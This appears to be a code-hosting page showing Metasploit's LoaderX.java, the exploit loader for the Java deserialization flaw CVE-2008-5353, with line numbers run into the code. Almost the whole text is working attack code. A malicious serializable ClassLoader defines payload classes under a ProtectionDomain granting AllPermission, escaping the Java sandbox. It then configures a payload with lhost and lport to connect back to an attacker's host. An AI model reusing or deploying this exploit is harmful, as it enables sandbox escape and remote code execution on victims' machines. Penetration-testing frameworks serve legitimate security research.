Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2008-5353/src/msf/x/LoaderX.java
Views: 11791
// This is heavily based off Fuller's Loader12package msf.x;34import java.io.ByteArrayOutputStream;5import java.io.IOException;6import java.io.InputStream;7import java.io.ObjectInputStream;8import java.io.ObjectOutputStream;9import java.io.Serializable;10import java.net.URL;11import java.security.AllPermission;12import java.security.CodeSource;13import java.security.Permissions;14import java.security.ProtectionDomain;15import java.security.cert.Certificate;16import java.lang.reflect.Field;1718public class LoaderX extends ClassLoader implements Serializable19{20// The serial UID must match that as set in the vulnerable serializedObject.21private static final long serialVersionUID = 6812622870313961944L;2223public static LoaderX instance = null;2425private void writeObject( ObjectOutputStream oos ) throws IOException, ClassNotFoundException26{27oos.defaultWriteObject();28}2930private void readObject( ObjectInputStream ois ) throws IOException, ClassNotFoundException31{32LoaderX.instance = this;3334ois.defaultReadObject();35}3637public void bootstrapPayload( String data, String jar, String lhost, int lport ) throws IOException38{39String classNames[] = { "msf.x.PayloadX$StreamConnector", "msf.x.PayloadX" };40String classPaths[] = { "/msf/x/PayloadX$StreamConnector.class", "/msf/x/PayloadX.class" };41Class cls = null;4243try44{45for( int index=0 ; index<classNames.length ; index++ )46{47ByteArrayOutputStream bos = new ByteArrayOutputStream();48byte[] buffer = new byte[8192];49int length;5051// read in the class file from the jar52InputStream is = getClass().getResourceAsStream( classPaths[index] );53// and write it out to the byte array stream54while( ( length = is.read( buffer ) ) > 0 )55bos.write( buffer, 0, length );56// convert it to a simple byte array57buffer = bos.toByteArray();5859URL url = new URL( "file:///" );6061Certificate[] certs = new Certificate[0];6263Permissions perm = new Permissions();64perm.add( new AllPermission() );6566ProtectionDomain pd = new ProtectionDomain( new CodeSource( url, certs ), perm );6768cls = defineClass( classNames[index], buffer, 0, buffer.length, pd );69}7071// cls will end up being the PayloadX class72if( cls != null )73{74// reflect into the PayloadX class to get these three fields75Field payload_data = cls.getField( "data" );76Field payload_jar = cls.getField( "jar" );77Field payload_lhost = cls.getField( "lhost" );78Field payload_lport = cls.getField( "lport" );7980// instantiate the PayloadX object once so as we can set the native payload data81Object obj = cls.newInstance();8283// set the native payload data, lhost and lport84payload_data.set( obj, data );85payload_jar.set( obj, jar );86payload_lhost.set( obj, lhost );87payload_lport.setInt( obj, lport );8889// instantiate a second PayloadX object to perform the actual payload90obj = cls.newInstance();91}92}93catch( Exception e ) {}94}95}969798